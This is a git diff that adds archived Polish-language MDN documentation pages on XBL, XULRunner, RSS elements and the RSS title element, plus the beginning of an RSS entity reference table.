+</li><li> <a class="external" href="http://www.mozilla.org/projects/xbl/xbl2.html">XBL 2.0</a> (<a class="external" href="http://w3.org/TR/XBL/">kandydat na rekomendację W3C</a>) jest rozwijany, aby poprawić problemy znalezione w XBL 1.0 oraz pozwolić na implementacje w większej liczbie przeglądarek WWW. Mozilla planuje implementację XBL2 w przyszłych wersjach <a href="pl/Gecko">Gecko</a>.
+</li></ul>
+<p>Niektóre różnice pomiedzy sXBL a XBL2 są wymienione w <a class="external" href="http://annevankesteren.nl/2005/11/xbl">artykule Anne van Kesteren</a> (Listopad, 2005).
+</p><p>Przegląd różnic pomiędzy XBL-em Mozilli a XBL2 można znaleźć <a class="external" href="http://groups.google.com/group/mozilla.dev.tech.xbl/msg/af3d4e37cce1d907">w wiadomości Jonas'a Sicking'a</a> (Kwiecień, 2007).
+</p>
+<h3 id="Zobacz_także"> Zobacz także </h3>
+<ul><li> <a href="pl/Kurs_XUL/Wprowadzenie_do_XBL">Wprowadzenie do XBL</a> z <a href="pl/Kurs_XUL">kursu XUL</a>.
+</li><li> <a class="external" href="http://mb.eschew.org/15.php">Rozdział XBL</a> z <a class="external" href="http://mb.eschew.org/">"Rapid Application Development with Mozilla"</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/xbl-primer/">Podstawy XBL 2.0</a> (szkic)
+</li></ul>
+<ul><li> <a>Więcej źródeł XBL...</a>
+</li></ul>
+<h3 id="Społeczność"> Społeczność </h3>
+<ul><li> Obejrzyj fora Mozilli...
+</li></ul>
+<p></p><ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-tech-xbl"> jako listę dyskusyjna</a></li>
+
+
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.xbl"> jako newsgroup</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.tech.xbl/feeds"> jako kanał</a></li>
+</ul>
+<p></p>
diff --git a/files/pl/archive/mozilla/xulrunner/index.html b/files/pl/archive/mozilla/xulrunner/index.html
new file mode 100644
index 0000000000..92a2d1c00b
--- /dev/null
+++ b/files/pl/archive/mozilla/xulrunner/index.html
@@ -0,0 +1,80 @@
+---
+title: XULRunner
+slug: Archive/Mozilla/XULRunner
+tags:
+ - XUL
+ - XULRunner
+translation_of: Archive/Mozilla/XULRunner
+---
+<div class="callout-box"><strong><a class="external" href="http://blogs.acceleration.net/ryan/archive/2005/05/06/1073.aspx">Przewodnik XULRunner</a></strong><br>
+Krótkie wprowadzenie do XULRunner.</div>
+
+<div>
+<p><strong>XULRunner</strong> jest pojedynczym pakietem instalacyjnym, który może być użyty do uruchamiania wielu aplikacji bazujących na XUL+XPCOM takich jak Firefox czy Thunderbird.</p>
+
+<p>Możesz pobrać XULRunner-a z <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/">ftp.mozilla.org</a></p>
+</div>
+
+<table class="topicpage-table">
+ <tbody>
+ <tr>
+ <td>
+ <h2 id="Pe.C5.82na_wersja" name="Pe.C5.82na_wersja">Pełna wersja</h2>
+
+ <div class="note">
+ <p>XULRunner 1.8.0.4 jest stabilną pełną wersją <strong>developer preview</strong> opartą na tym samym kodzie źródłowym co Firefox 1.5.0.4. Jest dostępny dla <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/win32/en-US/xulrunner-1.8.0.4.en-US.win32.zip">Windows</a>, <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/mac/en-US/xulrunner-1.8.0.4.en-US.mac.dmg">Mac OS X</a>, i <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/1.8.0.4/linux-i686/en-US/xulrunner-1.8.0.4.en-US.linux-i686.tar.gz">Linux</a> w angielskiej wersji językowej. Przeczytaj <a href="/pl/XULRunner_1.8.0.4_Release_Notes" title="pl/XULRunner_1.8.0.4_Release_Notes">uwagi dotyczące tej wersji</a>, aby zainstalować, odinstalować oraz dla zdobycia dodatkowych informacji.</p>
+ </div>
+
+ <h2 id="Przegl.C4.85d" name="Przegl.C4.85d">Przegląd</h2>
+
+ <ul>
+ <li>{{ interwiki('wikimo', 'XULRunner:Roadmap', 'Development Roadmap') }}</li>
+ <li><a href="/pl/XULRunner/What_XULRunner_Provides" title="pl/XULRunner/What_XULRunner_Provides">What XULRunner Provides</a></li>
+ <li><a href="/pl/XULRunner_FAQ" title="pl/XULRunner_FAQ">XULRunner FAQ</a></li>
+ <li>Nightly builds: <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-mozilla1.8/">latest-mozilla1.8</a> <a class="external" href="http://ftp.mozilla.org/pub/mozilla.org/xulrunner/nightly/latest-trunk/">unstable-trunk</a></li>
+ </ul>
+
+ <h2 id="Dokumentacja" name="Dokumentacja"><a href="/Special:Tags?tag=XULRunner&amp;language=pl" title="Special:Tags?tag=XULRunner&amp;language=pl">Dokumentacja</a></h2>
+
+ <dl>
+ <dt><a href="/Special:Tags?tag=XULRunner&amp;language=pl" title="Special:Tags?tag=XULRunner&amp;language=pl">Pokaż wszystkie...</a></dt>
+ </dl>
+
+ <dl>
+ <dt><a href="/Special:Tags?tag=XULRunner:Przyk%C5%82ady&amp;language=pl" title="Special:Tags?tag=XULRunner:Przykłady&amp;language=pl">Przykłady aplikacji</a></dt>
+ <dd><small>Prosty przykład aplikacji XULRunner, które mogą być kopiowane.</small></dd>
+ </dl>
+
+ <dl>
+ <dt><a class="external" href="http://blogs.acceleration.net/ryan/archive/2005/05/06/1073.aspx">Przewodnik XULRunner</a></dt>
+ <dd><small>Krótkie wprowadzenie do XULRunner.</small></dd>
+ </dl>
+
+ <p><span class="alllinks"><a href="/Special:Tags?tag=XULRunner&amp;language=pl" title="Special:Tags?tag=XULRunner&amp;language=pl">Pokaż wszystkie...</a></span></p>
+ </td>
+ <td>
+ <h2 id="Spo.C5.82eczno.C5.9B.C4.87" name="Spo.C5.82eczno.C5.9B.C4.87">Społeczność</h2>
+
+ <ul>
+ <li>Obejrzyj fora Mozilli...</li>
+ </ul>
+
+ <p>{{ DiscussionList("dev-tech-xul", "mozilla.dev.tech.xul") }}</p>
+
+ <ul>
+ <li><a class="link-irc" href="irc://irc.mozilla.org/#xulrunner">#xulrunner na irc.mozilla.org</a></li>
+ <li><a class="external" href="http://mail.mozilla.org/listinfo/xulrunner-dev">Lista dyskusyjna XULRunner-Dev</a></li>
+ <li><a href="/pl/XULRunner/Społeczność" title="pl/XULRunner/Społeczność">Inne linki...</a></li>
+ </ul>
+
+ <h2 id="Wybrane_tematy" name="Wybrane_tematy">Wybrane tematy</h2>
+
+ <dl>
+ <dd><a href="/pl/XUL" title="pl/XUL">XUL</a></dd>
+ </dl>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<p><span class="comment">Categories</span></p>
diff --git a/files/pl/archive/rss/elementy/index.html b/files/pl/archive/rss/elementy/index.html
new file mode 100644
index 0000000000..fe9070ad7b
--- /dev/null
+++ b/files/pl/archive/rss/elementy/index.html
@@ -0,0 +1,148 @@
+---
+title: Elementy
+slug: Archive/RSS/Elementy
+tags:
+ - Dokumentacje
+ - Junk
+ - RSS
+ - 'RSS:Dokumentacje'
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Archive/RSS_elements
+---
+<h2 id="Elementy_RSS" name="Elementy_RSS">Elementy RSS</h2>
+
+<h3 id="A" name="A">A</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/author">&lt;author&gt;</a> (<a href="pl/RSS/Elementy/author">Element RSS: Author</a>)</li>
+</ul>
+
+<h3 id="B" name="B">B</h3>
+
+<h3 id="C" name="C">C</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/category">&lt;category&gt;</a> (<a href="pl/RSS/Elementy/category">RSS Category Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/channel">&lt;channel&gt;</a> (<a href="pl/RSS/Elementy/channel">RSS Channel Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/cloud">&lt;cloud&gt;</a> (<a href="pl/RSS/Elementy/cloud">RSS Cloud Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/comments">&lt;comments&gt;</a> (<a href="pl/RSS/Elementy/comments">RSS Comments Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/copyright">&lt;copyright&gt;</a> (<a href="pl/RSS/Elementy/copyright">RSS Copyright Element</a>)</li>
+</ul>
+
+<h3 id="D" name="D">D</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/day">&lt;day&gt;</a> (<a href="pl/RSS/Elementy/day">RSS Day Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/description">&lt;description&gt;</a> (<a href="pl/RSS/Elementy/description">RSS Description Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/docs">&lt;docs&gt;</a> (<a href="pl/RSS/Elementy/docs">RSS Docs Element</a>)</li>
+</ul>
+
+<h3 id="E" name="E">E</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/enclosure">&lt;enclosure&gt;</a> (<a href="pl/RSS/Elementy/enclosure">RSS Enclosure Element</a>)</li>
+</ul>
+
+<h3 id="F" name="F">F</h3>
+
+<h3 id="G" name="G">G</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/generator">&lt;generator&gt;</a> (<a href="pl/RSS/Elementy/generator">RSS Generator Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/guid">&lt;guid&gt;</a> (<a href="pl/RSS/Elementy/guid">RSS GUID Element</a>)</li>
+</ul>
+
+<h3 id="H" name="H">H</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/height">&lt;height&gt;</a> (<a href="pl/RSS/Elementy/height">RSS Height Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/hour">&lt;hour&gt;</a> (<a href="pl/RSS/Elementy/hour">RSS Hour Element</a>)</li>
+</ul>
+
+<h3 id="I" name="I">I</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/image">&lt;image&gt;</a> (<a href="pl/RSS/Elementy/image">Element RSS: Image</a>)</li>
+ <li><a href="pl/RSS/Elementy/item">&lt;item&gt;</a> (<a href="pl/RSS/Elementy/item">Element RSS: Item</a>)</li>
+</ul>
+
+<h3 id="J" name="J">J</h3>
+
+<h3 id="K" name="K">K</h3>
+
+<h3 id="L" name="L">L</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/language">&lt;language&gt;</a> (<a href="pl/RSS/Elementy/language">Element RSS: Language</a>)</li>
+ <li><a href="pl/RSS/Elementy/lastBuildDate">&lt;lastBuildDate&gt;</a> (<a href="pl/RSS/Elementy/lastBuildDate">Element RSS: Last Build Date Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/link">&lt;link&gt;</a> (<a href="pl/RSS/Elementy/link">Element RSS Link</a>)</li>
+</ul>
+
+<h3 id="M" name="M">M</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/managingEditor">&lt;managingEditor&gt;</a> (<a href="pl/RSS/Elementy/managingEditor">Element RSS: Managing Editor</a>)</li>
+</ul>
+
+<h3 id="N" name="N">N</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/name">&lt;name&gt;</a> (<a href="pl/RSS/Elementy/name">Element RSS: Name</a>)</li>
+</ul>
+
+<h3 id="O" name="O">O</h3>
+
+<h3 id="P" name="P">P</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/pubDate">&lt;pubDate&gt;</a> (<a href="pl/RSS/Elementy/pubDate">RSS Published Date Element</a>)</li>
+</ul>
+
+<h3 id="Q" name="Q">Q</h3>
+
+<h3 id="R" name="R">R</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/rating">&lt;rating&gt;</a> (<a href="pl/RSS/Elementy/rating">RSS Rating Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/rss">&lt;rss&gt;</a> (<a href="pl/RSS/Elementy/rss">Element RSS's Root "rss"</a>)</li>
+</ul>
+
+<h3 id="S" name="S">S</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/skipDays">&lt;skipDays&gt;</a> (<a href="pl/RSS/Elementy/skipDays">RSS Skip Days Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/skipHours">&lt;skipHours&gt;</a> (<a href="pl/RSS/Elementy/skipHours">RSS Skip Hours Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/source">&lt;source&gt;</a> (<a href="pl/RSS/Elementy/source">RSS Source Element</a>)</li>
+</ul>
+
+<h3 id="T" name="T">T</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/textinput">&lt;textinput&gt;</a> (<a href="pl/RSS/Elementy/textinput">Elementy RSS - Text Input</a>)</li>
+ <li><a href="pl/RSS/Elementy/title">&lt;title&gt;</a> (<a href="pl/RSS/Elementy/title">Elemety RSS - Tytuł</a>)</li>
+ <li><a href="pl/RSS/Elementy/ttl">&lt;ttl&gt;</a> (<a href="pl/RSS/Elementy/ttl">Elementy RSS - TTL</a>)</li>
+</ul>
+
+<h3 id="U" name="U">U</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/url">&lt;url&gt;</a> (<a href="pl/RSS/Elementy/url">RSS URL Element</a>)</li>
+</ul>
+
+<h3 id="V" name="V">V</h3>
+
+<h3 id="W" name="W">W</h3>
+
+<ul>
+ <li><a href="pl/RSS/Elementy/webMaster">&lt;webMaster&gt;</a> (<a href="pl/RSS/Elementy/webMaster">RSS Web Master Element</a>)</li>
+ <li><a href="pl/RSS/Elementy/width">&lt;width&gt;</a> (<a href="pl/RSS/Elementy/width">RSS Width Element</a>)</li>
+</ul>
+
+<h3 id="X" name="X">X</h3>
+
+<h3 id="Y" name="Y">Y</h3>
+
+<h3 id="Z" name="Z">Z</h3>
+
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pl/archive/rss/elementy/title/index.html b/files/pl/archive/rss/elementy/title/index.html
new file mode 100644
index 0000000000..ad9ceea54c
--- /dev/null
+++ b/files/pl/archive/rss/elementy/title/index.html
@@ -0,0 +1,133 @@
+---
+title: title
+slug: Archive/RSS/Elementy/title
+tags:
+ - Dokumentacje
+ - RSS
+ - 'RSS:Dokumentacje'
+ - Wszystkie_kategorie
+translation_of: Archive/RSS_elements/title
+---
+<p>
+</p>
+<h2 id="Element_RSS_-_title" name="Element_RSS_-_title"> Element RSS - <i>title</i></h2>
+<p><b>&lt;title&gt;...&lt;/title&gt;</b> - element RSS tytułu ma cztery zastosowania, które są sprecyzowane dla elementu <i>title</i>. Jest stosowany w elementach; <a href="pl/RSS/Elementy/Channel">&lt;channel&gt;</a>, <a href="pl/RSS/Elementy/image">&lt;image&gt;</a>, <a href="pl/RSS/Elementy/item">&lt;item&gt;</a> lub <a href="pl/RSS/Elementy/textinput">&lt;textinput&gt;</a>.
+</p><p>Tytuł elementu RSS stanowią dane typu <i>plain text</i>.
+</p>
+<div class="note">
+<p><b>Uwaga</b>: w wersji <a href="pl/RSS/Wersje/0.91/Userland">Userland RSS 0.91</a> znajduje się maksymalny limit znaków, który wynosi 100.
+</p>
+</div>
+<p><b>Przykład <a href="pl/RSS/Wersje/0.91/Netscape/Wersja_3">Netscape RSS 0.91 Wersja 3</a></b>
+</p>
+<pre class="eval"> <span class="nowiki">
+ &lt;?xml version="1.0"?&gt;
+ &lt;!DOCTYPE rss SYSTEM "http://my.netscape.com/publish/formats/rss-0.91.dtd"&gt;
+
+ &lt;rss version="0.91"&gt;
+ &lt;channel&gt;
+ </span><b><span class="highlightred"><span class="nowiki">&lt;title&gt;Advogato&lt;/title&gt;</span></span></b><span class="nowiki">
+ &lt;link&gt;http://www.advogato.org/article/&lt;/link&gt;
+ &lt;description&gt;Recent Advogato articles&lt;/description&gt;
+ &lt;language&gt;en-us&lt;/language&gt;
+ &lt;image&gt;
+ &lt;link&gt;http://www.advogato.org/&lt;/link&gt;
+ </span><b><span class="highlightred"><span class="nowiki">&lt;title&gt;Advogato&lt;/title&gt;</span></span></b><span class="nowiki">
+ &lt;url&gt;http://www.advogato.org/image/tinyadvogato.png&lt;/url&gt;
+ &lt;/image&gt;
+ &lt;item&gt;
+ </span><b><span class="highlightred"><span class="nowiki">&lt;title&gt;Why can I not get any tang?!&lt;/title&gt;</span></span></b><span class="nowiki">
+ &lt;link&gt;http://www.advogato.org/article/10101.html&lt;/link&gt;
+ &lt;description&gt;Seriously. Why can't I get any tang?&lt;/description&gt;
+ &lt;/item&gt;
+ &lt;/channel&gt;
+ &lt;/rss&gt;
+ </span>
+</pre>
+<h3 id="Atrybuty" name="Atrybuty"> Atrybuty </h3>
+<dl><dd> <i>brak</i>
+</dd></dl>
+<h3 id="Pod_elementy" name="Pod_elementy"> Pod elementy </h3>
+<dl><dd> <i>brak</i>
+</dd></dl>
+<h3 id="Element_b.C4.99d.C4.85cy_rodzicem" name="Element_b.C4.99d.C4.85cy_rodzicem"> Element będący rodzicem </h3>
+<p>Tabela poniżej pokazuje listę <a href="pl/RSS/Elementy">elementów RSS</a>, które są elementami potomnymi tego elementu.
+</p>
+&lt;center&gt;
+
+&lt;tr&gt;
+&lt;th&gt;Nazwa&lt;/td&gt;
+&lt;th&gt;Tag&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.90">0.90</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.91/Netscape/Wersje_1">N 0.91 R1</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.91/Netscape/Wersje_3">N 0.91 R3</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.91/Userland">U 0.91</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.92">0.92</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.93">0.93</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.94">0.94</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/1.0">1.0</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/2.0">2.0</a>&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;<a href="pl/RSS/Elementy/Channel">Element RSS: channel</a>&lt;/td&gt;
+&lt;td&gt;<a href="pl/RSS/Elementy/Channel">&lt;channel&gt;</a>&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;<a href="pl/RSS/Elementy/image">Element RSS: image</a>&lt;/td&gt;
+&lt;td&gt;<a href="pl/RSS/Elementy/image">&lt;image&gt;</a>&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;<a href="pl/RSS/Elementy/item">Element RSS: item</a>&lt;/td&gt;
+&lt;td&gt;<a href="pl/RSS/Elementy/item">&lt;item&gt;</a>&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;<a href="pl/RSS/Elementy/textinput">Element RSS: textinput</a>&lt;/td&gt;
+&lt;td&gt;<a href="pl/RSS/Elementy/textinput">&lt;textinput&gt;</a>&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;✔&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;/tr&gt;
+&lt;/table&gt;
+&lt;/center&gt; <h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3><dl><dd> <i>brak</i>
+</dd></dl><p>{{ RSS:Element_Navigation() }}
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><table class="standard-table">
+<tbody><tr>
+<th colspan="2" style="text-align: center;"><a href="pl/RSS/Elementy">Elementy RSS</a>&lt;/td&gt;
+&lt;th colspan="9" style="text-align:center"&gt;<a href="pl/RSS/Wersje">Wersje RSS</a></th>
+</tr>
+
+</tbody></table>&lt;/center&gt;{{ languages( { "en": "en/RSS/Element/title" } ) }}
diff --git a/files/pl/archive/rss/encje/index.html b/files/pl/archive/rss/encje/index.html
new file mode 100644
index 0000000000..2b8b26e7ff
--- /dev/null
+++ b/files/pl/archive/rss/encje/index.html
@@ -0,0 +1,1380 @@
+---
+title: Encje
+slug: Archive/RSS/Encje
+tags:
+ - RSS
+ - Wszystkie_kategorie
+translation_of: Archive/RSS/Entity_list
+---
+<p>
+</p>
+<h2 id="Lista_encji_RSS" name="Lista_encji_RSS"> Lista encji RSS </h2>
+<div class="note">
+<p><b>Uwaga</b>: Są trzy różne wersje RSS 0.91. Pierwszą jest <a href="pl/RSS/Wersje/0.91/Netscape/Wersja_1">Netscape'a RSS 0.91 (Wersja 1)</a> (N 0.91 R1), następną jest <a href="pl/RSS/Wersje/0.91/Netscape/Wersja_3">Netscape'a RSS 0.91 Wersja 3</a> (N 0.91 R3) i <a href="pl/RSS/Wersje/0.91/Userland">Userland RSS 0.91</a> (U 0.91). Wersja Netscape'a RSS 0.91 używa DTD, który definiuje 96 dodatkowych nazw encji. (wersja wydana przez Userland RSS 0.91 NIE używa tego DTD.)
+</p>
+</div>
+
+&lt;tr&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.90">0.90</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.91/Netscape/Wersja_1">N 0.91 R1</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.91/Netscape/Wersja_3">N 0.91 R3</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.91/Userland">U 0.91</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.92">0.92</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.93">0.93</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/0.94">0.94</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/1.0">1.0</a>&lt;/td&gt;
+&lt;th&gt;<a href="pl/RSS/Wersje/2.0">2.0</a>&lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;aacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;á&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Aacute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Á&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;acute;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;´&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;acirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;â&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Acirc;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Â&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;aelig;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;æ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;AElig;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;Æ&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;agrave;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;à&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;Agrave;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;À&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
+&lt;td&gt;&amp;aring;&lt;/td&gt;
+&lt;td&gt;#&lt;/td&gt;
+&lt;td&gt;å&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt;<b>✔</b>&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;td&gt;?&lt;/td&gt;
+&lt;td&gt; &lt;/td&gt;
+&lt;/tr&gt;
+&lt;tr&gt;
